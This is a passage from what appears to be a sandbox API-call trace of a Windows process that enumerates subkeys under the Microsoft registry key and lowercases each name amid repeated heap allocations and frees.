0x1d3c0d8 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.647] RegEnumKeyW (in: hKey=0x90, dwIndex=0x6, lpName=0x1d3b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x1d3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.647] RegOpenKeyExW (in: hKey=0x90, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0040.647] RegCloseKey (hKey=0x90) returned 0x0 [0040.647] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x1d3b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.648] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x1d3b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x1d3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.648] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x1d3b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.648] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x1d3b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x1d3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.648] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.648] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x1d3b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0040.648] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.649] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x1d3b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.649] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x1d3b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.649] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.649] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x1d3b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x1d3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0040.649] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.650] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x1d3b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.650] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x1d3b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x1d3c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.650] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x1d3b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x1d3c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0040.650] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.650] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.651] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x1d3b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x1d3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.651] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x1d3b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.651] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x1d3b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x1d3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.651] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.651] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x1d3b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.651] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.652] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x1d3b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x1d3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.652] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x1d3b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.652] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x1d3b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0040.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.652] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, 